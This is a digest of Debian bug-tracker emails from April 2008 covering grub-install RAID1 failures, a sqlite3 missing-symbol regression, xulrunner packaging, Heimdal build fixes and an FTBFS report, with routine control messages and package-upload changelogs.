Processed (with 1 errors): severity of 478514 is serious, merging 478514 478084
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 severity 478514 serious Bug#478514: iceweasel-gnome-support fails to install from experimental Severity set to `serious' from `grave' merge 478514 478084 Bug#478084: Missing Replaces, file conflict /usr/lib/iceweasel/components/libimgicon.so Bug#478514: iceweasel-gnome-support fails to install from experimental Mismatch - only Bugs in same state can be merged: Values for `package' don't match: #478084 has `iceweasel'; #478514 has `iceweasel-gnome-support' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: notfound 478514 in 2.0.0.14-2
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 notfound 478514 2.0.0.14-2 Bug#478514: iceweasel-gnome-support fails to install from experimental Bug no longer marked as found in version 2.0.0.14-2. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478037: setting package to python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-com
# Automatically generated email from bts, devscripts version 2.10.26 # # xulrunner (1.9~b5-4) UNRELEASED; urgency=low # # * debian/xulrunner-1.9.install, debian/xulrunner-1.9-common.install: Move #/etc/gre.d/1.9.system.conf, /usr/lib/xulrunner-1.9/dependentlibs.list and #/usr/lib/xulrunner-1.9/platform.ini from xulrunner-1.9-common to #xulrunner-1.9. Closes: #478037. # package python-xpcom xulrunner-dev-bin xulrunner-1.9 libmozjs1d libmozillainterfaces-java libmozjs1d-dbg xulrunner xulrunner-dev xulrunner-1.9-dbg libmozjs-dev xulrunner-1.9-common spidermonkey-bin xulrunner-1.9-gnome-support tags 478037 + pending -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 478037
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 tags 478037 + pending Bug#478037: epiphany-browser_2.22.1.1-2(sparc/experimental): FTBFS: error: Cannot compile and run XPCOM programs There were no tags set. Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478547: marked as done (grub-install raid1 ext3 failure - regression from Etch)
Your message dated Wed, 30 Apr 2008 21:32:03 + with message-id [EMAIL PROTECTED] and subject line Bug#478547: fixed in grub 0.97-38 has caused the Debian Bug report #478547, regarding grub-install raid1 ext3 failure - regression from Etch to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478547: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478547 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: grub Version: 0.97-37 Severity: critical Justification: breaks the whole system grub-install '(hd0)' reports The file /boot/grub/stage1 not read correctly. The problem occurs when grub-install is using dump for some kind of verification. The log is written to /tmp file with a random name: # cat grubJM5Q31 GNU GRUB version 0.97 (640K lower / 3072K upper memory) [ Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists the possible completions of a device/filename. ] grub dump (md0)/grub/stage1 /tmp/grubrakRL1 Error 23: Error while parsing number grub quit This is a regression from Etch. In fact, simply copying /usr/sbin/grub-install from Etch into another directory and running it without replacing any other grub component works. This happens on a lot of systems but most people don't run grub-install on a working system. We have a policy of always running grub-install after updating the grub package so we see this problem sooner than most. -- Package-specific info: *** BEGIN /boot/grub/device.map (fd0) /dev/fd0 (hd0) /dev/hde (hd1) /dev/hdg *** END /boot/grub/device.map *** BEGIN /proc/mounts /dev/md1 / ext3 rw,errors=remount-ro,data=ordered 0 0 /dev/md1 /dev/.static/dev ext3 rw,errors=remount-ro,data=ordered 0 0 /dev/mapper/VG0-ACCT /store/ACCT ext3 rw,data=ordered 0 0 /dev/mapper/VG0-IMS++ /cache/IMS++ ext3 rw,data=ordered 0 0 /dev/mapper/VG0-JPG /cache/JPG ext3 rw,data=ordered 0 0 /dev/mapper/VG0-MP3 /store/MP3 ext3 rw,data=ordered 0 0 /dev/mapper/VG0-OLD /store/OLD ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.1 /BACKUP/mpa-sf.yosemite.net.1 ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.2 /BACKUP/mpa-sf.yosemite.net.2 ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.3 /BACKUP/mpa-sf.yosemite.net.3 ext3 rw,noatime,data=ordered 0 0 /dev/md0 /boot ext3 rw,data=ordered 0 0 *** END /proc/mounts *** BEGIN /boot/grub/menu.lst # menu.lst - See: grub(8), info grub, update-grub(8) #grub-install(8), grub-floppy(8), #grub-md5-crypt, /usr/share/doc/grub #and /usr/share/doc/grub-doc/. ## default num # Set the default entry to the entry number NUM. Numbering starts from 0, and # the entry number 0 is the default if the command is not used. # # You can specify 'saved' instead of a number. In this case, the default entry # is the entry saved with the command 'savedefault'. # WARNING: If you are using dmraid do not change this entry to 'saved' or your # array will desync and will not let you boot your system. default 0 ## timeout sec # Set a timeout, in SEC seconds, before automatically booting the default entry # (normally the first entry defined). timeout 5 # Pretty colours color cyan/blue white/blue ### PASSWORD LINE REMOVED ### # If used in the first section of a menu file, disable all interactive editing # control (menu entry editor and command-line) and entries protected by the # command 'lock' ### PASSWORD LINE REMOVED ### ### PASSWORD LINE REMOVED ### ### PASSWORD LINE REMOVED ### # # examples # # title Windows 95/98/NT/2000 # root (hd0,0) # makeactive # chainloader +1 # # title Linux # root (hd0,1) # kernel/vmlinuz root=/dev/hda2 ro # # # Put static boot stanzas before and/or after AUTOMAGIC KERNEL LIST ### BEGIN AUTOMAGIC KERNELS LIST ## lines between the AUTOMAGIC KERNELS LIST markers will be modified ## by the debian update-grub script except for the default options below ## DO NOT UNCOMMENT THEM, Just edit them to your needs ## ## Start Default Options ## ## default kernel options ## default kernel options for automagic boot options ## If you want special options for specific kernels use kopt_x_y_z ## where x.y.z is kernel version. Minor versions can be omitted. ## e.g. kopt=root=/dev/hda1 ro ## kopt_2_6_8=root=/dev/hdc1 ro ## kopt_2_6_8_2_686=root=/dev/hdc2 ro #
Bug#478547: marked as done (grub-install raid1 ext3 failure - regression from Etch)
Your message dated Wed, 30 Apr 2008 21:32:03 + with message-id [EMAIL PROTECTED] and subject line Bug#464146: fixed in grub 0.97-38 has caused the Debian Bug report #464146, regarding grub-install raid1 ext3 failure - regression from Etch to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 464146: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464146 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: grub Version: 0.97-37 Severity: critical Justification: breaks the whole system grub-install '(hd0)' reports The file /boot/grub/stage1 not read correctly. The problem occurs when grub-install is using dump for some kind of verification. The log is written to /tmp file with a random name: # cat grubJM5Q31 GNU GRUB version 0.97 (640K lower / 3072K upper memory) [ Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists the possible completions of a device/filename. ] grub dump (md0)/grub/stage1 /tmp/grubrakRL1 Error 23: Error while parsing number grub quit This is a regression from Etch. In fact, simply copying /usr/sbin/grub-install from Etch into another directory and running it without replacing any other grub component works. This happens on a lot of systems but most people don't run grub-install on a working system. We have a policy of always running grub-install after updating the grub package so we see this problem sooner than most. -- Package-specific info: *** BEGIN /boot/grub/device.map (fd0) /dev/fd0 (hd0) /dev/hde (hd1) /dev/hdg *** END /boot/grub/device.map *** BEGIN /proc/mounts /dev/md1 / ext3 rw,errors=remount-ro,data=ordered 0 0 /dev/md1 /dev/.static/dev ext3 rw,errors=remount-ro,data=ordered 0 0 /dev/mapper/VG0-ACCT /store/ACCT ext3 rw,data=ordered 0 0 /dev/mapper/VG0-IMS++ /cache/IMS++ ext3 rw,data=ordered 0 0 /dev/mapper/VG0-JPG /cache/JPG ext3 rw,data=ordered 0 0 /dev/mapper/VG0-MP3 /store/MP3 ext3 rw,data=ordered 0 0 /dev/mapper/VG0-OLD /store/OLD ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.1 /BACKUP/mpa-sf.yosemite.net.1 ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.2 /BACKUP/mpa-sf.yosemite.net.2 ext3 rw,noatime,data=ordered 0 0 /dev/mapper/VG0-mpa--sf.yosemite.net.3 /BACKUP/mpa-sf.yosemite.net.3 ext3 rw,noatime,data=ordered 0 0 /dev/md0 /boot ext3 rw,data=ordered 0 0 *** END /proc/mounts *** BEGIN /boot/grub/menu.lst # menu.lst - See: grub(8), info grub, update-grub(8) #grub-install(8), grub-floppy(8), #grub-md5-crypt, /usr/share/doc/grub #and /usr/share/doc/grub-doc/. ## default num # Set the default entry to the entry number NUM. Numbering starts from 0, and # the entry number 0 is the default if the command is not used. # # You can specify 'saved' instead of a number. In this case, the default entry # is the entry saved with the command 'savedefault'. # WARNING: If you are using dmraid do not change this entry to 'saved' or your # array will desync and will not let you boot your system. default 0 ## timeout sec # Set a timeout, in SEC seconds, before automatically booting the default entry # (normally the first entry defined). timeout 5 # Pretty colours color cyan/blue white/blue ### PASSWORD LINE REMOVED ### # If used in the first section of a menu file, disable all interactive editing # control (menu entry editor and command-line) and entries protected by the # command 'lock' ### PASSWORD LINE REMOVED ### ### PASSWORD LINE REMOVED ### ### PASSWORD LINE REMOVED ### # # examples # # title Windows 95/98/NT/2000 # root (hd0,0) # makeactive # chainloader +1 # # title Linux # root (hd0,1) # kernel/vmlinuz root=/dev/hda2 ro # # # Put static boot stanzas before and/or after AUTOMAGIC KERNEL LIST ### BEGIN AUTOMAGIC KERNELS LIST ## lines between the AUTOMAGIC KERNELS LIST markers will be modified ## by the debian update-grub script except for the default options below ## DO NOT UNCOMMENT THEM, Just edit them to your needs ## ## Start Default Options ## ## default kernel options ## default kernel options for automagic boot options ## If you want special options for specific kernels use kopt_x_y_z ## where x.y.z is kernel version. Minor versions can be omitted. ## e.g. kopt=root=/dev/hda1 ro ## kopt_2_6_8=root=/dev/hdc1 ro ## kopt_2_6_8_2_686=root=/dev/hdc2 ro #
Bug#478337: marked as done (libsqlite3-0: ABI change without SONAME change (symbol sqlite3_enable_load_extension dropped))
Your message dated Wed, 30 Apr 2008 21:18:48 + with message-id [EMAIL PROTECTED] and subject line Bug#478337: fixed in sqlite3 3.5.8-2 has caused the Debian Bug report #478337, regarding libsqlite3-0: ABI change without SONAME change (symbol sqlite3_enable_load_extension dropped) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478337: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478337 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: sqlite3 Version: 3.5.6-3 Severity: grave [EMAIL PROTECTED]:[~] sqlite3 SQLite version 3.5.7 Enter .help for instructions sqlite quit; sqlite3: symbol lookup error: sqlite3: undefined symbol: sqlite3_enable_load_extension Also, if you give a db on the command line [EMAIL PROTECTED]:[~/shared/movies/epgrabber] sqlite3 watch.db sqlite3: symbol lookup error: sqlite3: undefined symbol: sqlite3_enable_load_extension which makes it basically unusable. Upgrading the sqlite3 package will probably fix this (as libsqlite3-0 is on 3.5.7-2 and this is at 3.5.6-2), but it should have had a tighter dependancy. -- System Information: Debian Release: lenny/sid APT prefers stable APT policy: (500, 'stable'), (104, 'experimental'), (103, 'unstable'), (102, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/dash Versions of packages sqlite3 depends on: ii libc6 2.7-9 GNU C Library: Shared libraries ii libreadline5 5.2-3 GNU readline and history libraries ii libsqlite3-0 3.5.7-2SQLite 3 shared library sqlite3 recommends no packages. -- no debconf information ---End Message--- ---BeginMessage--- Source: sqlite3 Source-Version: 3.5.8-2 We believe that the bug you reported is fixed in the latest version of sqlite3, which is due to be installed in the Debian FTP archive: lemon_3.5.8-2_amd64.deb to pool/main/s/sqlite3/lemon_3.5.8-2_amd64.deb libsqlite3-0-dbg_3.5.8-2_amd64.deb to pool/main/s/sqlite3/libsqlite3-0-dbg_3.5.8-2_amd64.deb libsqlite3-0_3.5.8-2_amd64.deb to pool/main/s/sqlite3/libsqlite3-0_3.5.8-2_amd64.deb libsqlite3-dev_3.5.8-2_amd64.deb to pool/main/s/sqlite3/libsqlite3-dev_3.5.8-2_amd64.deb libsqlite3-tcl_3.5.8-2_amd64.deb to pool/main/s/sqlite3/libsqlite3-tcl_3.5.8-2_amd64.deb sqlite3-doc_3.5.8-2_all.deb to pool/main/s/sqlite3/sqlite3-doc_3.5.8-2_all.deb sqlite3_3.5.8-2.diff.gz to pool/main/s/sqlite3/sqlite3_3.5.8-2.diff.gz sqlite3_3.5.8-2.dsc to pool/main/s/sqlite3/sqlite3_3.5.8-2.dsc sqlite3_3.5.8-2_amd64.deb to pool/main/s/sqlite3/sqlite3_3.5.8-2_amd64.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Laszlo Boszormenyi (GCS) [EMAIL PROTECTED] (supplier of updated sqlite3 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Tue, 29 Apr 2008 01:12:34 +0200 Source: sqlite3 Binary: lemon sqlite3 sqlite3-doc libsqlite3-0 libsqlite3-dev libsqlite3-tcl libsqlite3-0-dbg Architecture: source all amd64 Version: 3.5.8-2 Distribution: unstable Urgency: low Maintainer: Laszlo Boszormenyi (GCS) [EMAIL PROTECTED] Changed-By: Laszlo Boszormenyi (GCS) [EMAIL PROTECTED] Description: lemon - The Lemon Parser Generator libsqlite3-0 - SQLite 3 shared library libsqlite3-0-dbg - SQLite 3 debugging symbols libsqlite3-dev - SQLite 3 development files libsqlite3-tcl - SQLite 3 Tcl bindings sqlite3- A command line interface for SQLite 3 sqlite3-doc - SQLite 3 documentation Closes: 475084 478337 478492 Changes: sqlite3 (3.5.8-2) unstable; urgency=low . * Re-enable extension mechanism (closes: #478337, #475084). * Create and install a more complete documentation (closes: #478492). Checksums-Sha1: 296c317559e28d207551246dd08f1f05 1159 sqlite3_3.5.8-2.dsc 4bf8b45998874d9def9a75f18da9cce081034969 305275 sqlite3_3.5.8-2.diff.gz f51da9dea78992c68e6a4e9672183c31eff3d6b3 439364 sqlite3-doc_3.5.8-2_all.deb 2a85f48e2f4bf78b6cca2bfd23aa686bacfc0079 41582 lemon_3.5.8-2_amd64.deb 9eacd2e38c4bac9e1a0734a459f2b2dd6af04608 24594 sqlite3_3.5.8-2_amd64.deb
Bug#464146: marked as done (grub-install: The file /boot/grub/stage1 not read correctly)
Your message dated Wed, 30 Apr 2008 21:32:03 + with message-id [EMAIL PROTECTED] and subject line Bug#464146: fixed in grub 0.97-38 has caused the Debian Bug report #464146, regarding grub-install: The file /boot/grub/stage1 not read correctly to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 464146: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464146 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: grub Version: 0.97-28 Severity: normal --- Please enter the report below this line. --- I have just installed a new Debian/Lenny. I had to install lilo because grub did not work at install time. I have tried to install grub after the installation was complete and I get the same error: $ grub-install hd0 Searching for GRUB installation directory ... found: /boot/grub The file /boot/grub/stage1 not read correctly. The contents of the grub directory is $ ls /boot/grub/ default e2fs_stage1_5 jfs_stage1_5 minix_stage1_5 stage1 xfs_stage1_5 device.map fat_stage1_5 menu.lst reiserfs_stage1_5 stage2 It seems that file 'stage1' is readable. The following command does not give any error. $ cat /boot/grub/stage1 /tmp/pr --- System information. --- Architecture: i386 Kernel: Linux 2.6.22-3-686 Debian Release: lenny/sid 500 testing www.debian-multimedia.org 500 testing security.debian.org 500 testing ftp.rediris.es --- Package information. --- Depends (Version) | Installed ==-+-=== libc6 (= 2.5-5) | 2.7-6 libncurses5 (= 5.4-5) | 5.6+20080105-1 -- http://antares.sip.ucm.es/~luis In a world without walls, who needs windows(R)? ---End Message--- ---BeginMessage--- Source: grub Source-Version: 0.97-38 We believe that the bug you reported is fixed in the latest version of grub, which is due to be installed in the Debian FTP archive: grub-disk_0.97-38_all.deb to pool/main/g/grub/grub-disk_0.97-38_all.deb grub-doc_0.97-38_all.deb to pool/main/g/grub/grub-doc_0.97-38_all.deb grub-legacy-doc_0.97-38_all.deb to pool/main/g/grub/grub-legacy-doc_0.97-38_all.deb grub_0.97-38.diff.gz to pool/main/g/grub/grub_0.97-38.diff.gz grub_0.97-38.dsc to pool/main/g/grub/grub_0.97-38.dsc grub_0.97-38_amd64.deb to pool/main/g/grub/grub_0.97-38_amd64.deb multiboot-doc_0.97-38_all.deb to pool/main/g/grub/multiboot-doc_0.97-38_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Robert Millan [EMAIL PROTECTED] (supplier of updated grub package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 22:51:42 +0200 Source: grub Binary: grub grub-disk grub-doc grub-legacy-doc multiboot-doc Architecture: source amd64 all Version: 0.97-38 Distribution: unstable Urgency: high Maintainer: Grub Maintainers [EMAIL PROTECTED] Changed-By: Robert Millan [EMAIL PROTECTED] Description: grub - GRand Unified Bootloader (Legacy version) grub-disk - GRUB bootable disk image (dummy package) grub-doc - Documentation for GRand Unified Bootloader (dummy package) grub-legacy-doc - Documentation for GRUB Legacy multiboot-doc - The Multiboot specification Closes: 464146 478547 Changes: grub (0.97-38) unstable; urgency=high . * patches/use_grub-probe_in_grub-install.diff: Reinstate RAID1 hack. Based on patch from Goswin Brederlow [EMAIL PROTECTED]. (Closes: #478547, #464146) Checksums-Sha1: c32e9bdb92cc903c50c64262e5b449082770f931 1305 grub_0.97-38.dsc f4e8a1e8beeea0248eca3133610b9927384c46d6 76954 grub_0.97-38.diff.gz 0543dc29bcfb49bc05f0113cd8b96cb556287168 900980 grub_0.97-38_amd64.deb 41efcc6e624c7610bb17685981e49c5a32287d60 113216 grub-disk_0.97-38_all.deb a7cd57e98681f716b50b5153fc903b8f625160ff 113232 grub-doc_0.97-38_all.deb 37c2bfdd46c316c2552aea644cec16445dc5026c 234246 grub-legacy-doc_0.97-38_all.deb 2c86d25fc7bef9a5e9f6f529cbea73db14e8d2eb 158280 multiboot-doc_0.97-38_all.deb Checksums-Sha256: b98b1884ee7b7dc0c26f86e39349cff4350ed4bf4ddd6f73b4a942a11b672088 1305 grub_0.97-38.dsc f93d00fecfe752e1b5251599685d72c0116c6dad5e680b7468d269fc8c5108e7 76954 grub_0.97-38.diff.gz
Bug#453241: [JIRA] Created: (HEIMDAL-117) Re: [Heimdal-bugs] Bug#453241: still broken (and partly openssh's fault)
Love Hörnquist Åstrand [EMAIL PROTECTED] writes: How about using libtool ? Can you test this patch ? http://www.h5l.org/fisheye/changelog/heimdal/?cs=23146 Yup, this works, although it produces a bunch of spurious output in the middle of the configure run (I think because libtool is trying to be a bit too smart and report what it's doing). Thanks! -- Russ Allbery ([EMAIL PROTECTED]) http://www.eyrie.org/~eagle/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464146: marked as done (grub-install: The file /boot/grub/stage1 not read correctly)
Your message dated Wed, 30 Apr 2008 21:32:03 + with message-id [EMAIL PROTECTED] and subject line Bug#478547: fixed in grub 0.97-38 has caused the Debian Bug report #478547, regarding grub-install: The file /boot/grub/stage1 not read correctly to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478547: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478547 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: grub Version: 0.97-28 Severity: normal --- Please enter the report below this line. --- I have just installed a new Debian/Lenny. I had to install lilo because grub did not work at install time. I have tried to install grub after the installation was complete and I get the same error: $ grub-install hd0 Searching for GRUB installation directory ... found: /boot/grub The file /boot/grub/stage1 not read correctly. The contents of the grub directory is $ ls /boot/grub/ default e2fs_stage1_5 jfs_stage1_5 minix_stage1_5 stage1 xfs_stage1_5 device.map fat_stage1_5 menu.lst reiserfs_stage1_5 stage2 It seems that file 'stage1' is readable. The following command does not give any error. $ cat /boot/grub/stage1 /tmp/pr --- System information. --- Architecture: i386 Kernel: Linux 2.6.22-3-686 Debian Release: lenny/sid 500 testing www.debian-multimedia.org 500 testing security.debian.org 500 testing ftp.rediris.es --- Package information. --- Depends (Version) | Installed ==-+-=== libc6 (= 2.5-5) | 2.7-6 libncurses5 (= 5.4-5) | 5.6+20080105-1 -- http://antares.sip.ucm.es/~luis In a world without walls, who needs windows(R)? ---End Message--- ---BeginMessage--- Source: grub Source-Version: 0.97-38 We believe that the bug you reported is fixed in the latest version of grub, which is due to be installed in the Debian FTP archive: grub-disk_0.97-38_all.deb to pool/main/g/grub/grub-disk_0.97-38_all.deb grub-doc_0.97-38_all.deb to pool/main/g/grub/grub-doc_0.97-38_all.deb grub-legacy-doc_0.97-38_all.deb to pool/main/g/grub/grub-legacy-doc_0.97-38_all.deb grub_0.97-38.diff.gz to pool/main/g/grub/grub_0.97-38.diff.gz grub_0.97-38.dsc to pool/main/g/grub/grub_0.97-38.dsc grub_0.97-38_amd64.deb to pool/main/g/grub/grub_0.97-38_amd64.deb multiboot-doc_0.97-38_all.deb to pool/main/g/grub/multiboot-doc_0.97-38_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Robert Millan [EMAIL PROTECTED] (supplier of updated grub package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 22:51:42 +0200 Source: grub Binary: grub grub-disk grub-doc grub-legacy-doc multiboot-doc Architecture: source amd64 all Version: 0.97-38 Distribution: unstable Urgency: high Maintainer: Grub Maintainers [EMAIL PROTECTED] Changed-By: Robert Millan [EMAIL PROTECTED] Description: grub - GRand Unified Bootloader (Legacy version) grub-disk - GRUB bootable disk image (dummy package) grub-doc - Documentation for GRand Unified Bootloader (dummy package) grub-legacy-doc - Documentation for GRUB Legacy multiboot-doc - The Multiboot specification Closes: 464146 478547 Changes: grub (0.97-38) unstable; urgency=high . * patches/use_grub-probe_in_grub-install.diff: Reinstate RAID1 hack. Based on patch from Goswin Brederlow [EMAIL PROTECTED]. (Closes: #478547, #464146) Checksums-Sha1: c32e9bdb92cc903c50c64262e5b449082770f931 1305 grub_0.97-38.dsc f4e8a1e8beeea0248eca3133610b9927384c46d6 76954 grub_0.97-38.diff.gz 0543dc29bcfb49bc05f0113cd8b96cb556287168 900980 grub_0.97-38_amd64.deb 41efcc6e624c7610bb17685981e49c5a32287d60 113216 grub-disk_0.97-38_all.deb a7cd57e98681f716b50b5153fc903b8f625160ff 113232 grub-doc_0.97-38_all.deb 37c2bfdd46c316c2552aea644cec16445dc5026c 234246 grub-legacy-doc_0.97-38_all.deb 2c86d25fc7bef9a5e9f6f529cbea73db14e8d2eb 158280 multiboot-doc_0.97-38_all.deb Checksums-Sha256: b98b1884ee7b7dc0c26f86e39349cff4350ed4bf4ddd6f73b4a942a11b672088 1305 grub_0.97-38.dsc f93d00fecfe752e1b5251599685d72c0116c6dad5e680b7468d269fc8c5108e7 76954 grub_0.97-38.diff.gz
Processed: severity of 472849 is normal
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 severity 472849 normal Bug#472849: rhythmbox: Plugins cannot be loaded Bug#475425: rhythmbox must depends on python-gst Severity set to `normal' from `grave' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#470324: marked as done (gtksourceview-sharp2: FTBFS: ./PrintSample.cs(51,17): error CS0117: `GtkSourceView.SourcePrintJob' does not contain a definition for `upFromView')
Your message dated Wed, 30 Apr 2008 21:17:30 + with message-id [EMAIL PROTECTED] and subject line Bug#470324: fixed in gtksourceview-sharp2 0.12-1 has caused the Debian Bug report #470324, regarding gtksourceview-sharp2: FTBFS: ./PrintSample.cs(51,17): error CS0117: `GtkSourceView.SourcePrintJob' does not contain a definition for `upFromView' to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 470324: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=470324 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: gtksourceview-sharp2 Version: 0.11-1 Severity: serious User: [EMAIL PROTECTED] Usertags: qa-ftbfs-20080308 qa-ftbfs Justification: FTBFS on i386 Hi, During a rebuild of all packages in sid, your package failed to build on i386. Relevant part: make[2]: Entering directory `/build/user/gtksourceview-sharp2-0.11/sample' /usr/bin/mcs -out:SourceViewTest.exe ./SourceViewTest.cs -r:../gtksourceview/gtksourceview-sharp.dll -pkg:gtk-sharp-2.0 /usr/bin/mcs -out:PrintSample.exe ./PrintSample.cs -r:../gtksourceview/gtksourceview-sharp.dll -pkg:gtk-sharp-2.0 -pkg:gnome-sharp-2.0 ./PrintSample.cs(51,17): error CS0117: `GtkSourceView.SourcePrintJob' does not contain a definition for `upFromView' /build/user/gtksourceview-sharp2-0.11/gtksourceview/gtksourceview-sharp.dll (Location of the symbol related to previous error) Compilation failed: 1 error(s), 0 warnings make[2]: *** [PrintSample.exe] Error 1 The full build log is available from: http://people.debian.org/~lucas/logs/2008/03/08 A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! About the archive rebuild: The rebuild was done on about 50 AMD64 nodes of the Grid'5000 platform, using a clean chroot containing a sid i386 environment. Internet was not accessible from the build systems. -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | ---End Message--- ---BeginMessage--- Source: gtksourceview-sharp2 Source-Version: 0.12-1 We believe that the bug you reported is fixed in the latest version of gtksourceview-sharp2, which is due to be installed in the Debian FTP archive: gtksourceview-sharp2_0.12-1.diff.gz to pool/main/g/gtksourceview-sharp2/gtksourceview-sharp2_0.12-1.diff.gz gtksourceview-sharp2_0.12-1.dsc to pool/main/g/gtksourceview-sharp2/gtksourceview-sharp2_0.12-1.dsc gtksourceview-sharp2_0.12.orig.tar.gz to pool/main/g/gtksourceview-sharp2/gtksourceview-sharp2_0.12.orig.tar.gz libgtksourceview2.0-cil_0.12-1_all.deb to pool/main/g/gtksourceview-sharp2/libgtksourceview2.0-cil_0.12-1_all.deb monodoc-gtksourceview2.0-manual_0.12-1_all.deb to pool/main/g/gtksourceview-sharp2/monodoc-gtksourceview2.0-manual_0.12-1_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Mirco Bauer [EMAIL PROTECTED] (supplier of updated gtksourceview-sharp2 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) 